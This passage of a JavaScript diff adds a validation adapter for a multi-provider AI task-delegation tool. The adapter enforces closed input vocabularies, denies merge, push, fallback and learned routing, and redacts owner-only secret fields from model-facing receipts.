const ADDITIVE_STATUS_KEYS = capturedFreeze(['run_id']); +export const ADDITIVE_DELEGATE_KEYS = capturedFreeze(['run']); +export const ADDITIVE_TASK_KEYS = capturedFreeze([ + 'run_id', 'assignment_id', 'attention', 'run_reply', +]); +export const ADDITIVE_TASKS_KEYS = capturedFreeze(['run_id']); +export const ADDITIVE_CANCEL_KEYS = capturedFreeze([ + 'run_id', 'assignment_ids', 'cleanup', +]); + +export const RUN_SUBMIT_KEYS = capturedFreeze([ + 'assignments', 'git', 'identity', 'objective', 'profile', 'provenance', + 'request_idempotency_key', 'run_id', 'telemetry', +]); +export const RUN_SUBMIT_REQUIRED_KEYS = capturedFreeze([ + 'assignments', 'git', 'identity', 'provenance', 'request_idempotency_key', + 'run_id', 'telemetry', +]); +export const RUN_ASSIGNMENT_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'expected_duration_ms', 'model', 'profile', + 'prompt', 'provider', 'required', 'role', 'starting_ref', 'task_id', + 'write_scope', +]); +export const RUN_ASSIGNMENT_RUNTIME_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'model', 'provider', 'required', 'role', + 'starting_ref', 'task_id', 'write_scope', +]); +export const ATTENTION_REQUEST_KEYS = capturedFreeze(['expected_revision', 'items']); +export const RUN_REPLY_KEYS = capturedFreeze([ + 'batch_id', 'expected_revision', 'reply', +]); +export const RUN_TOOL_RECEIPT_KEYS = capturedFreeze([ + 'assignment_count', 'attention', 'audience', 'candidate', 'checks', + 'cleanup', 'complete_candidate_blocked', 'decision_or_attention', + 'lanes', 'mode', 'operation', 'remote_mutated', 'run_id', 'schema', + 'side_effects', 'status', 'tool', 'version', 'wake', +]); + +export const RUN_TOOL_ADAPTER_CHECKS = capturedFreeze([ + 'catalog_five_tools', + 'omission_preserves_3_2_1', + 'validation_before_side_effects', + 'assignment_count_1_to_8', + 'explicit_or_profile_provider_model', + 'four_slot_registry', + 'p22_not_a_provider', + 'no_learned_routing', + 'decision_or_attention', + 'exactly_once_reply', + 'unresolved_required_blocks', + 'owner_raw_vs_model_sanitized', + 'lifecycle_cleanup_authority', + 'p35_candidate_ref_authority', + 'remote_mutation_denied', +]); +export const RUN_TOOL_ADAPTER_SIDE_EFFECTS = capturedFreeze([ + 'provider_dispatched', + 'replay', + 'fallback', + 'ref_created', + 'cleanup_executed', + 'candidate_composed', + 'remote_mutated', + 'sixth_tool_exposed', +]); +export const RUN_TOOL_ADAPTER_ALWAYS_FALSE_SIDE_EFFECTS = capturedFreeze([ + 'replay', + 'fallback', + 'ref_created', + 'candidate_composed', + 'remote_mutated', + 'sixth_tool_exposed', +]); + +export const MAX_ADAPTER_DIAGNOSTIC_BYTES = 160; +export const RUN_ID_SCHEMA_PATTERN = RUN_ID_PATTERN.source; +export const MAX_RUN_TOOL_WAIT_MS = MCP_PENDING_CALL_BUDGET_MS; +export const RUN_TOOL_WAIT_POLL_MS = 25; +export const OWNER_ONLY_EVIDENCE_KEYS = capturedFreeze([ + 'raw', 'bytes', 'secret', 'secrets', 'credential', 'credentials', +]); +export const ACTIONABLE_LANE_STATUSES = capturedFreeze([ + 'needs_attention', 'completed', 'failed', 'cancelled', 'unresolved', + 'timeout', 'transport_lost', 'environment_blocked', +]); + +const IS_PROXY = utilTypes.isProxy; +const STRING = String; +const ARRAY_IS_ARRAY = Array.isArray; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const IDEMPOTENCY_KEY_PATTERN = /^sha256:[0-9a-f]{64}$/u; +const TASK_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +const P22_PROVIDER_ALIASES = capturedFreeze([ + 'p22', 'future-harness', 'future_harness', 'conformance', + 'provider-driver-template', 'harness', +]); +const LEARNED_ROUTING_KEYS = capturedFreeze([ + 'router', 'routing', 'rank', 'score', 'cost', 'learned', 'predict', + 'fallback_provider', 'fallback_model', 'preference_walk', +]); +const FORBIDDEN_KEY_CODES = capturedFreeze({ + allow_fallback: 'replay_or_fallback_denied', + allow_post_dispatch_fallback: 'replay_or_fallback_denied', + allow_replay: 'replay_or_fallback_denied', + fallback: 'replay_or_fallback_denied', + fallback_model: 'replay_or_fallback_denied', + fallback_provider: 'replay_or_fallback_denied', + fallbacks: 'replay_or_fallback_denied', + redrive: 'replay_or_fallback_denied', + replay: 'replay_or_fallback_denied', + resend: 'replay_or_fallback_denied', + retry: 'replay_or_fallback_denied', + retry_dispatch: 'replay_or_fallback_denied', + direct_mode: 'direct_mode_rejected', + workspace_mode: 'direct_mode_rejected', + allow_create_pr: 'merge_authority_denied', + allow_merge: 'merge_authority_denied', + allow_push: 'merge_authority_denied', + create_pr: 'merge_authority_denied', + create_pull_request: 'merge_authority_denied', + force_push: 'merge_authority_denied', + merge: 'merge_authority_denied', + merge_pr: 'merge_authority_denied', + merges: 'merge_authority_denied', + open_pr: 'merge_authority_denied', + push: 'merge_authority_denied', + push_branch: 'merge_authority_denied', + github: 'remote_mutation_denied', + remote: 'remote_mutation_denied', + candidate: 'candidate_authority_denied', + compose: 'candidate_authority_denied', + router: 'learned_routing_denied', + routing: 'learned_routing_denied', + rank: 'learned_routing_denied', + score: 'learned_routing_denied', + cost: 'learned_routing_denied', + learned: 'learned_routing_denied', +}); + +const TOOL_ADDITIVE = capturedFreeze({ + status: ADDITIVE_STATUS_KEYS, + delegate: ADDITIVE_DELEGATE_KEYS, + task: ADDITIVE_TASK_KEYS, + tasks: ADDITIVE_TASKS_KEYS, + cancel: ADDITIVE_CANCEL_KEYS, +}); + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'Accessor properties are denied.', + aliased_reference_denied: 'Aliased references are denied.', + candidate_authority_denied: 'Candidate composition stays on the P35 seam.', + catalog_sixth_tool_denied: 'The public catalog remains five tools.', + cleanup_unproven: 'Cleanup requires P33 proof-bound finality.', + direct_mode_rejected: 'Run submissions reject direct mode.', + durable_state_mismatch: 'Durable run state is stale, partial, or mismatched.', + duplicate_assignment_id: 'Assignment ids in a run must be unique.', + duplicate_task_id: 'Task ids in a run must be unique.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + injected_dependency_invalid: 'createRunToolAdapter requires the closed injected seams.', + invalid_format: 'A run-tool field is not in the required format.', + invalid_type: 'A run-tool field is not the required JSON type.', + learned_routing_denied: 'Provider selection is explicit or a named profile.', + merge_authority_denied: 'Merge, push, and pull-request authority is denied.', + missing_key: 'A required run-tool field is missing.', + mixed_run_operation: 'One tool call maps to exactly one run operation.', + mixed_tool_mode: 'Run parameters cannot mix with 3.2.1 single-task fields.', + own_undefined_denied: 'Own undefined values are denied.', + out_of_range: 'A run-tool collection is outside the closed 1-8 bound.', + p22_not_a_provider: 'P22 is conformance evidence and never a provider slot.', + proxy_denied: 'Proxy values are denied.', + remote_mutation_denied: 'Remote mutation is denied.', + replay_or_fallback_denied: 'Replay and fallback are denied.', + selection_unresolved: 'Provider and model must be explicit or profile-selected.', + symbol_key_denied: 'Symbol keys are denied.', + unknown_key: 'A run-tool field is outside the closed vocabulary.', + unknown_operation: 'The tool arguments do not map to a frozen run operation.', + unknown_provider: 'The provider is not an accepted four-slot registry entry.', + unknown_tool: 'The public catalog remains status, delegate, task, tasks, cancel.', +}); + +export const RUN_TOOL_ADAPTER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', + 'aliased_reference_denied', + 'candidate_authority_denied', + 'catalog_sixth_tool_denied', + 'cleanup_unproven', + 'direct_mode_rejected', + 'durable_state_mismatch', + 'duplicate_assignment_id', + 'duplicate_task_id', + 'exotic_prototype_denied', + 'injected_dependency_invalid', + 'invalid_format', + 'invalid_type', + 'learned_routing_denied', + 'merge_authority_denied', + 'missing_key', + 'mixed_run_operation', + 'mixed_tool_mode', + 'own_undefined_denied', + 'out_of_range', + 'p22_not_a_provider', + 'proxy_denied', + 'remote_mutation_denied', + 'replay_or_fallback_denied', + 'selection_unresolved', + 'symbol_key_denied', + 'unknown_key', + 'unknown_operation', + 'unknown_provider', + 'unknown_tool', +]); + +const ADAPTER_DEPENDENCY_KEYS = capturedFreeze([ + 'attention', 'classifyLaneTask', 'projectLaneTask', 'rememberSubmitContext', + 'runtime', +]); +const RUNTIME_METHODS = RUN_RUNTIME_METHODS; +const ATTENTION_METHODS = capturedFreeze(['get', 'reply']); +const SCHEDULER_PLAN_SCHEMA = 'codex-co-engineer.run-scheduler-plan.v1'; +const CATALOG_SNAPSHOT_SCHEMA = 'codex-co-engineer.run-catalog-snapshot.v1'; +const RECONSTRUCT_LANE_STATUSES = capturedFreeze([ + 'dispatched', 'running', ...ACTIONABLE_LANE_STATUSES, +]); +const pendingRunCatalogSnapshots = new Map(); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_ADAPTER_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_ADAPTER_DIAGNOSTIC_BYTES); +} + +function failAdapter(code, field, message) { + fail(code, field, diagnostic(message ?? CONTENT_FREE[code] ?? CONTENT_FREE.invalid_format)); +} + +function emptySideEffects() { + const sideEffects = {}; + for (const claim of RUN_TOOL_ADAPTER_SIDE_EFFECTS) sideEffects[claim] = false; + return sideEffects; +} + +function emptyChecks() { + const checks = {}; + for (const name of RUN_TOOL_ADAPTER_CHECKS) checks[name] = true; + return checks; +} + +function ownKeySet(value, field) { + assertNotProxy(value, field); + let keys; + try { + keys = capturedOwnKeys(value); + } catch { + failAdapter('invalid_type', field, CONTENT_FREE.invalid_type); + } + for (const key of keys) { + if (typeof key === 'symbol') { + failAdapter('symbol_key_denied', field, CONTENT_FREE.symbol_key_denied); + } + } + return keys.filter((key) => typeof key === 'string'); +} + +function hasOwnAdditive(args, keys) { + if (args === undefined || args === null) return false; + if (typeof args !== 'object' && typeof args !== 'function') return false; + if (IS_PROXY(args)) return true; + for (const key of keys) { + if (capturedHasOwn(args, key)) return true; + } + return false; +} + +function waitUntilValue(args) { + if (args === undefined || args === null || typeof args !== 'object') return undefined; + if (IS_PROXY(args)) return undefined; + if (!capturedHasOwn(args, 'wait_until')) return undefined; + try { + return args.wait_until; + } catch { + return undefined; + } +} + +export function classifyRunToolCall(tool, args) { + if (!capturedIncludes(PUBLIC_MCP_CATALOG, tool)) { + return freezeData({ + mode: 'run', + tool: typeof tool === 'string' ? tool : null, + operation: null, + additive: true, + }); + } + const additiveKeys = TOOL_ADDITIVE[tool]; + const additive = hasOwnAdditive(args, additiveKeys) + || waitUntilValue(args) === ADDITIVE_WAIT_UNTIL; + if (!additive) { + return freezeData({ + mode: 'legacy', + tool, + operation: null, + additive: false, + }); + } + return freezeData({ + mode: 'run', + tool, + operation: null, + additive: true, + }); +} + +function denyForbiddenTree(value, path) { + if (value === null || typeof value !== 'object') return; + if (IS_PROXY(value)) failAdapter('proxy_denied', path, CONTENT_FREE.proxy_denied); + const keys = REFLECT_OWN_KEYS(value); + for (const key of keys) { + if (typeof key !== 'string') { + failAdapter('symbol_key_denied', path, CONTENT_FREE.symbol_key_denied); + } + if (capturedHasOwn(FORBIDDEN_KEY_CODES, key)) { + failAdapter(FORBIDDEN_KEY_CODES[key], `${path}.${key}`, CONTENT_FREE[FORBIDDEN_KEY_CODES[key]]); + } + if (capturedIncludes(LEARNED_ROUTING_KEYS, key)) { + failAdapter('learned_routing_denied', `${path}.${key}`, CONTENT_FREE.learned_routing_denied); + } + } + if (ARRAY_IS_ARRAY(value)) { + for (let index = 0; index < value.length; index += 1) { + denyForbiddenTree(value[index], `${path}[${index}]`); + } + return; + } + for (const key of keys) { + if (typeof key === 'string') denyForbiddenTree(value[key], `${path}.${key}`); + } +} + +function quarantineObject(value, field, allowed) { + if (value === undefined || value === null) { + failAdapter('invalid_type', field, CONTENT_FREE.invalid_type); + } + assertNotProxy(value, field); + assertPlainObject(value, 'invalid_type', field, 'The run-tool object'); + assertDirectJsonClosure(value, field); + denyForbiddenTree(value, field); + const keys = ownKeySet(value, field); + for (const key of keys) { + if (!capturedIncludes(allowed, key)) { + failAdapter('unknown_key', `${field}.${key}`, CONTENT_FREE.unknown_key); + } + } + freezeData(value); + return value; +} + +function requireString(object, key, field, predicate, code = 'invalid_format') { + if (!hasOwn(object, key)) failAdapter('missing_key', field, CONTENT_FREE.missing_key); + const value = ownDataValue(object, key, field); + if (typeof value !== 'string' || (predicate && !predicate(value))) { + failAdapter(code, field, CONTENT_FREE[code] ?? CONTENT_FREE.invalid_format); + } + return value; +} + +function optionalValue(object, key, field) { + if (!hasOwn(object, key)) return undefined; + return ownDataValue(object, key, field); +} + +function delayMs(milliseconds, signal) { + return new Promise((resolve) => { + if (signal?.aborted) { + resolve('abort'); + return; + } + if (!Number.isFinite(milliseconds) || milliseconds <= 0) { + resolve('timeout'); + return; + } + const timer = setTimeout(() => { + signal?.removeEventListener('abort', onAbort); + resolve('timeout'); + }, milliseconds); + const onAbort = () => { + clearTimeout(timer); + resolve('abort'); + }; + signal?.addEventListener('abort', onAbort, { once: true }); + }); +} + +function parseWaitMs(args) { + const value = optionalValue(args, 'wait_ms', 'wait_ms'); + if (value === undefined) return MAX_RUN_TOOL_WAIT_MS; + if (!Number.isInteger(value) || value < 0 || value > MAX_RUN_TOOL_WAIT_MS) { + failAdapter('invalid_format', 'wait_ms', CONTENT_FREE.invalid_format); + } + return value; +} + +function ownerOnlyKey(key) { + return typeof key === 'string' && capturedIncludes(OWNER_ONLY_EVIDENCE_KEYS, key); +} + +function sanitizeModelFacing(value, depth = 0) { + if (value === undefined || value === null) return value; + if (typeof value !== 'object') return value; + if (depth > 16) return null; + if (IS_PROXY(value)) return freezeData({}); + if (ARRAY_IS_ARRAY(value) || capturedIsArray(value)) { + return freezeData(value.map((entry) => sanitizeModelFacing(entry, depth + 1))); + } + const copy = {}; + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + return freezeData({}); + } + for (const key of keys) { + if (typeof key !== 'string' || ownerOnlyKey(key)) continue; + copy[key] = sanitizeModelFacing(value[key], depth + 1); + } + return freezeData(copy); +} + +function actionableDecision(receipt) { + const attention = receipt?.attention; + if (attention && (attention.status === 'open' || attention.status === 'reply_committed')) { + return true; + } + const lanes = ARRAY_IS_ARRAY(receipt?.lanes) ? receipt.lanes : []; + for (const lane of lanes) { + if (typeof lane?.status === 'string' && capturedIncludes(ACTIONABLE_LANE_STATUSES, lane.status)) { + return true; + } + } + return receipt?.journal?.terminal === true; +} + +function cursorsFromReceipt(receipt) { + const lanes = ARRAY_IS_ARRAY(receipt?.lanes) ? receipt.lanes : []; + const cursors = []; + for (const lane of lanes) { + if (typeof lane?.assignment_id !== 'string' || typeof lane?.task_id !== 'string') continue; + const raw = lane.cursor; + const eventCursor = typeof raw === 'string' + ? raw + : (raw && typeof raw === 'object' && typeof raw.event_cursor === 'string' ? raw.event_cursor : null); + if (typeof eventCursor !== 'string' || !capturedTest(/^[0-9]{1,16}$/u, eventCursor)) continue; + cursors.push({ + assignment_id: lane.assignment_id, + task_id: lane.task_id, + event_cursor: eventCursor, + }); + } + return cursors; +} + +function assignmentNeedsNamedProfile(assignment) { + if (assignment === undefined || assignment === null || typeof assignment !== 'object') return false; + return capturedHasOwn(assignment, 'profile'); +} + +function submitNeedsCatalogSnapshot(run, assignments) { + const profile = optionalValue(run, 'profile', 'run.profile'); + if (typeof profile === 'string') return true; + if (!ARRAY_IS_ARRAY(assignments) && !capturedIsArray(assignments)) return false; + for (const assignment of assignments) { + if (assignmentNeedsNamedProfile(assignment)) return true; + } + return false; +} + +async function loadBoundCatalogSnapshot(repositoryPath) { + if (typeof repositoryPath !== 'string' || repositoryPath.length === 0 || !path.isAbsolute(repositoryPath)) { + failAdapter('selection_unresolved', 'run.profile', CONTENT_FREE.selection_unresolved); + } + try { + return await loadProfileCatalogSnapshot({ repositoryPath }); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'selection_unresolved') throw error; + failAdapter('selection_unresolved', 'run.profile', CONTENT_FREE.selection_unresolved); + } + return null; +} + +function lookupSnapshotDefinition(snapshot, name, field) { + if (snapshot === null || snapshot === undefined) { + failAdapter('selection_unresolved', field, CONTENT_FREE.selection_unresolved); + } + let found; + try { + found = findProfile(snapshot, name); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'invalid_profile_name') { + failAdapter('invalid_format', field, CONTENT_FREE.invalid_format); + } + failAdapter('selection_unresolved', field, CONTENT_FREE.selection_unresolved); + } + if (found === undefined || found === null || found.definition === undefined) { + failAdapter('selection_unresolved', field, CONTENT_FREE.selection_unresolved); + } + return found.definition; +} + +function resolveAssignmentSelection(assignment, path, runProfile, snapshot) { + const provider = optionalValue(assignment, 'provider', `${path}.provider`); + const model = optionalValue(assignment, 'model', `${path}.model`); + const assignmentProfile = optionalValue(assignment, 'profile', `${path}.profile`); + if (assignmentProfile !== undefined && (typeof assignmentProfile !== 'string' || !isProfileName(assignmentProfile))) { + failAdapter('invalid_format', `${path}.profile`, CONTENT_FREE.invalid_format); + } + const named = typeof assignmentProfile === 'string' ? assignmentProfile : runProfile; + let definition = null; + if (typeof named === 'string') { + definition = lookupSnapshotDefinition(snapshot, named, path); + } + let resolvedProvider = provider; + let resolvedModel = model; + if (definition !== null) { + if (resolvedProvider !== undefined && definition.provider + && resolvedProvider !== definition.provider) { + failAdapter('selection_unresolved', `${path}.provider`, CONTENT_FREE.selection_unresolved); + } + if (resolvedModel !== undefined && definition.model + && resolvedModel !== definition.model) { + failAdapter('selection_unresolved', `${path}.model`, CONTENT_FREE.selection_unresolved); + } + if (resolvedProvider === undefined && typeof definition.provider === 'string') { + resolvedProvider = definition.provider; + } + if (resolvedModel === undefined && typeof definition.model === 'string') { + resolvedModel = definition.model; + } + } + if (typeof resolvedProvider !== 'string') { + failAdapter('selection_unresolved', `${path}.provider`, CONTENT_FREE.selection_unresolved); + } + assertRegistryProvider(resolvedProvider, resolvedModel, `${path}.provider`); + return { provider: resolvedProvider, model: resolvedModel }; +} + +function assertClosedTool(tool) { + if (!capturedIncludes(PUBLIC_MCP_CATALOG, tool)) { + failAdapter( + tool == null ? 'unknown_tool' : 'catalog_sixth_tool_denied', + 'tool', + CONTENT_FREE.unknown_tool, + ); + } + return tool; +} + +function mixLegacySingleTask(tool, args) { + if (tool === 'delegate') { + return capturedHasOwn(args, 'task_id') + || capturedHasOwn(args, 'provider') + || capturedHasOwn(args, 'repo') + || capturedHasOwn(args, 'prompt') + || capturedHasOwn(args, 'workspace_mode') + || capturedHasOwn(args, 'create_pr') + || capturedHasOwn(args, 'dsh_model'); + } + if (tool === 'task') { + return capturedHasOwn(args, 'task_id') || capturedHasOwn(args, 'reply'); + } + if (tool === 'cancel') return capturedHasOwn(args, 'task_id'); + if (tool === 'tasks') { + return capturedHasOwn(args, 'detail') + || capturedHasOwn(args, 'limit') + || capturedHasOwn(args, 'provider') + || capturedHasOwn(args, 'state') + || capturedHasOwn(args, 'status') + || capturedHasOwn(args, 'task_ids') + || (capturedHasOwn(args, 'cursor') && !capturedHasOwn(args, 'run_id')); + } + return false; +} + +function resolveOperation(tool, args) { + if (tool === 'delegate') return 'submit'; + if (tool === 'status') return 'status'; + if (tool === 'cancel') { + return optionalValue(args, 'cleanup', 'cleanup') === true ? 'cleanup' : 'cancel'; + } + if (tool === 'tasks') return 'wait'; + if (tool === 'task') { + const hasAttention = capturedHasOwn(args, 'attention'); + const hasReply = capturedHasOwn(args, 'run_reply'); + const waitUntil = waitUntilValue(args); + const flagged = [hasAttention, hasReply, waitUntil === ADDITIVE_WAIT_UNTIL] + .filter(Boolean).length; + if (flagged > 1) { + failAdapter('mixed_run_operation', 'task', CONTENT_FREE.mixed_run_operation); + } + if (hasAttention) return 'attention'; + if (hasReply) return 'reply'; + if (waitUntil === ADDITIVE_WAIT_UNTIL || capturedHasOwn(args, 'wait_ms')) return 'wait'; + return 'status'; + } + failAdapter('unknown_operation', 'tool', CONTENT_FREE.unknown_operation); + return null; +} + +function denyP22(provider, field) { + if (typeof provider === 'string' && capturedIncludes(P22_PROVIDER_ALIASES, provider)) { + failAdapter('p22_not_a_provider', field, CONTENT_FREE.p22_not_a_provider); + } + if (provider === FUTURE_HARNESS_TEMPLATE_SCHEMA_ID + || provider === FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID) { + failAdapter('p22_not_a_provider', field, CONTENT_FREE.p22_not_a_provider); + } +} + +function assertRegistryProvider(provider, model, field) { + denyP22(provider, field); + if (!isKnownProvider(provider) || !isRegistrySlotV1(provider)) { + failAdapter('unknown_provider', field, CONTENT_FREE.unknown_provider); + } + requireRegistrySlotV1(provider); + if (typeof model !== 'string' || !isModelId(model)) { + failAdapter('invalid_format', `${field}.model`, CONTENT_FREE.invalid_format); + } + resolveRegistrySelectionV1({ provider, model }); +} + +function stripAssignment(assignment) { + const stripped = {}; + for (const key of RUN_ASSIGNMENT_RUNTIME_KEYS) { + if (capturedHasOwn(assignment, key)) stripped[key] = assignment[key]; + } + return stripped; +} + +function parseAssignments(value, runProfile, snapshot) { + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failAdapter('invalid_type', 'run.assignments', CONTENT_FREE.invalid_type); + } + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failAdapter('out_of_range', 'run.assignments', CONTENT_FREE.out_of_range); + } + const seenIds = new Set(); + const seenTasks = new Set(); + const parsed = []; + const prompts = {}; + const durations = {}; + for (let index = 0; index < value.length; index += 1) { + const assignmentPath = `run.assignments[${index}]`; + const assignment = quarantineObject(value[index], assignmentPath, RUN_ASSIGNMENT_KEYS); + const assignmentId = requireString(assignment, 'assignment_id', `${assignmentPath}.assignment_id`, isAssignmentId); + if (seenIds.has(assignmentId)) { + failAdapter('duplicate_assignment_id', `${assignmentPath}.assignment_id`, CONTENT_FREE.duplicate_assignment_id); + } + seenIds.add(assignmentId); + const taskId = requireString(assignment, 'task_id', `${assignmentPath}.task_id`, + (candidate) => capturedTest(TASK_ID_PATTERN, candidate)); + if (seenTasks.has(taskId)) { + failAdapter('duplicate_task_id', `${assignmentPath}.task_id`, CONTENT_FREE.duplicate_task_id); + } + seenTasks.add(taskId); + const resolved = resolveAssignmentSelection( + assignment, assignmentPath, runProfile, snapshot, + ); + const prompt = optionalValue(assignment, 'prompt', `${assignmentPath}.prompt`); + if (prompt !== undefined) { + if (typeof prompt !== 'string' || prompt.length < 1 || prompt.length > 16384) { + failAdapter('invalid_format', `${assignmentPath}.prompt`, CONTENT_FREE.invalid_format); + } + prompts[assignmentId] = prompt; + } + const duration = optionalValue(assignment, 'expected_duration_ms', `${assignmentPath}.expected_duration_ms`); + if (duration !== undefined) durations[assignmentId] = duration; + const stripped = stripAssignment(assignment); + stripped.provider = resolved.provider; + stripped.model = resolved.model; + parsed.push(stripped); + } + return { assignments: parsed, prompts, durations }; +} + +async function parseSubmit(args) { + if (mixLegacySingleTask('delegate', args)) { + failAdapter('mixed_tool_mode', 'delegate', CONTENT_FREE.mixed_tool_mode); + } + const run = quarantineObject(optionalValue(args, 'run', 'run') ?? failAdapter('missing_key', 'run', CONTENT_FREE.missing_key), + 'run', RUN_SUBMIT_KEYS); + for (const key of RUN_SUBMIT_REQUIRED_KEYS) { + if (!hasOwn(run, key)) failAdapter('missing_key', `run.${key}`, CONTENT_FREE.missing_key); + } + const runId = requireString(run, 'run_id', 'run.run_id', (value) => { + try { assertRunId(value, 'run.run_id'); return true; } catch { return false; } + }); + const idempotency = requireString(run, 'request_idempotency_key', 'run.request_idempotency_key', + (value) => capturedTest(IDEMPOTENCY_KEY_PATTERN, value)); + const profile = optionalValue(run, 'profile', 'run.profile'); + if (profile !== undefined && (typeof profile !== 'string' || !isProfileName(profile))) { + failAdapter('invalid_format', 'run.profile', CONTENT_FREE.invalid_format); + } + const git = ownDataValue(run, 'git', 'run.git'); + const repositoryPath = git && typeof git === 'object' ? git.repository_path ?? null : null; + const rawAssignments = ownDataValue(run, 'assignments', 'run.assignments'); + const snapshot = submitNeedsCatalogSnapshot(run, rawAssignments) + ? await loadBoundCatalogSnapshot(repositoryPath) + : null; + const { assignments, prompts, durations } = parseAssignments( + rawAssignments, + typeof profile === 'string' ? profile : undefined, + snapshot, + ); + const unresolved = assignments.some((assignment) => typeof assignment.provider !== 'string' + || typeof assignment.model !== 'string'); + if (unresolved) { + failAdapter('selection_unresolved', 'run.assignments', CONTENT_FREE.selection_unresolved); + } + const objective = optionalValue(run, 'objective', 'run.objective'); + return { + runId, + runtimeRequest: freezeData({ + run_id: runId, + request_idempotency_key: idempotency, + identity: ownDataValue(run, 'identity', 'run.identity'), + git, + provenance: ownDataValue(run, 'provenance', 'run.provenance'), + telemetry: ownDataValue(run, 'telemetry', 'run.telemetry'), + assignments, + }), + context: freezeData({ + run_id: runId, + objective: typeof objective === 'string' ? objective : null, + profile: typeof profile === 'string' ? profile : null, + catalog_digest: typeof snapshot?.catalog_digest === 'string' ? snapshot.catalog_digest : null, + prompts, + durations, + repository_path: repositoryPath, + }), + catalogSnapshot: snapshot, + }; +} + +function requireRunId(args, field = 'run_id') { + const runId = requireString(args, 'run_id', field, (value) => { + try { assertRunId(value, field); return true; } catch { return false; } + }); + return runId; +} + +function parseAssignmentIds(value, field) { + if (value === undefined) return undefined; + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failAdapter('invalid_type', field, CONTENT_FREE.invalid_type); + } + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failAdapter('out_of_range', field, CONTENT_FREE.out_of_range); + } + const ids = []; + for (let index = 0; index < value.length; index += 1) { + const id = value[index]; + if (!isAssignmentId(id)) failAdapter('invalid_format', `${field}[${index}]`, CONTENT_FREE.invalid_format); + ids.push(id); + } + return ids; +} + +function projectCandidate(runId) { + const ref = expectedCandidateRefV1({ run_id: runId }); + return freezeData({ + ref, + composed: false, + ready_for_codex_review: false, + authority: 'p35', + namespace: CANDIDATE_REF_NAMESPACE, + accepted: isRunOwnedCandidateRefV1(ref, runId), + }); +} + +function projectLane(lane, projectLaneTask, classifyLaneTask) { + if (lane === undefined || lane === null || typeof lane !== 'object') return lane; + const copy = { ...lane }; + if (copy.task && typeof copy.task === 'object') { + if (typeof classifyLaneTask === 'function') { + copy.truth = classifyLaneTask(copy.task); + } + copy.task = typeof projectLaneTask === 'function' + ? projectLaneTask(copy.task) + : copy.task; + } + if (copy.artifacts && typeof copy.artifacts === 'object') { + copy.artifacts = sanitizeModelFacing(copy.artifacts); + } + return sanitizeModelFacing(copy); +} + +function cancellationUnconfirmed(operation, lanes) { + if (operation !== 'cancel' && operation !== 'cleanup') return false; + for (const lane of lanes) { + if (lane?.unresolved?.code === 'safe_cancel_unconfirmed') return true; + if (lane?.cancel_confirmed === false) return true; + } + return false; +} + +function attentionRecord(receipt) { + if (receipt === undefined || receipt === null || typeof receipt !== 'object') return receipt; + if (receipt.record !== undefined && receipt.record !== null && typeof receipt.record === 'object') { + return { + ...receipt.record, + complete_candidate_blocked: receipt.complete_candidate_blocked === true + || receipt.record.complete_candidate_blocked === true, + }; + } + return receipt; +} + +function projectReceipt(tool, operation, runtimeReceipt, projectLaneTask, classifyLaneTask, wakeRequested = false) { + const runId = runtimeReceipt?.run_id; + let lanes = ARRAY_IS_ARRAY(runtimeReceipt?.lanes) + ? runtimeReceipt.lanes.map((lane) => projectLane(lane, projectLaneTask, classifyLaneTask)) + : []; + const unconfirmed = cancellationUnconfirmed(operation, lanes); + if (unconfirmed === true) { + lanes = lanes.map((lane) => { + if (lane?.unresolved?.code === 'safe_cancel_unconfirmed' || lane?.cancel_confirmed === false) { + return { ...lane, status: 'unresolved' }; + } + return lane; + }); + } + const blocked = unconfirmed === true + || runtimeReceipt?.complete_candidate_blocked === true + || lanes.some((lane) => lane?.required !== false && ( + lane.status === 'unresolved' + || lane.status === 'failed' + || lane.status === 'lifecycle_pending' + || lane.status === 'transport_lost' + )); + const sideEffects = emptySideEffects(); + if (runtimeReceipt?.side_effects?.task_dispatched === true) sideEffects.provider_dispatched = true; + const cleanupSource = runtimeReceipt?.cleanup ?? freezeData({ + cleaned: false, proof_bound: true, removed: 0, remaining: null, unresolved: [], + }); + const cleanup = unconfirmed === true + ? freezeData({ + ...cleanupSource, + cleaned: false, + proof_bound: true, + }) + : cleanupSource; + if (runtimeReceipt?.side_effects?.task_cancelled === true + || cleanup.cleaned === true) { + sideEffects.cleanup_executed = cleanup.cleaned === true; + } + const attention = sanitizeModelFacing(attentionRecord(runtimeReceipt?.attention) ?? freezeData({ + batch_id: null, status: null, revision: null, wake: false, + complete_candidate_blocked: blocked, + })); + const actionable = actionableDecision({ ...runtimeReceipt, lanes, attention }); + const wake = wakeRequested === true && actionable === true; + const status = unconfirmed === true + ? 'unresolved' + : (runtimeReceipt?.status ?? 'inspected'); + return freezeData({ + schema: RUN_TOOL_ADAPTER_RECEIPT_SCHEMA_ID, + version: RUN_TOOL_ADAPTER_VERSION, + mode: 'run', + tool, + operation, + status, + run_id: runId, + assignment_count: runtimeReceipt?.assignment_count ?? lanes.length, + lanes, + attention, + cleanup: sanitizeModelFacing(cleanup), + decision_or_attention: freezeData({ + wake, + attention: attention?.status === 'open' || lanes.some((lane) => lane?.status === 'needs_attention'), + unresolved_required_blocks: blocked, + exactly_once_reply: attention?.status === 'reply_committed' || attention?.status === 'resolved', + }), + candidate: runId ? projectCandidate(runId) : null, + complete_candidate_blocked: blocked, + checks: emptyChecks(), + side_effects: sideEffects, + audience: 'model', + wake, + remote_mutated: false, + }); +} + +function assertFunctionMap(value, field, methods) { + assertPlainObject(value, 'injected_dependency_invalid', field, 'The injected seam'); + for (const method of methods) { + if (typeof value[method] !== 'function') { + failAdapter('injected_dependency_invalid', `${field}.${method}`, + CONTENT_FREE.injected_dependency_invalid); + } + 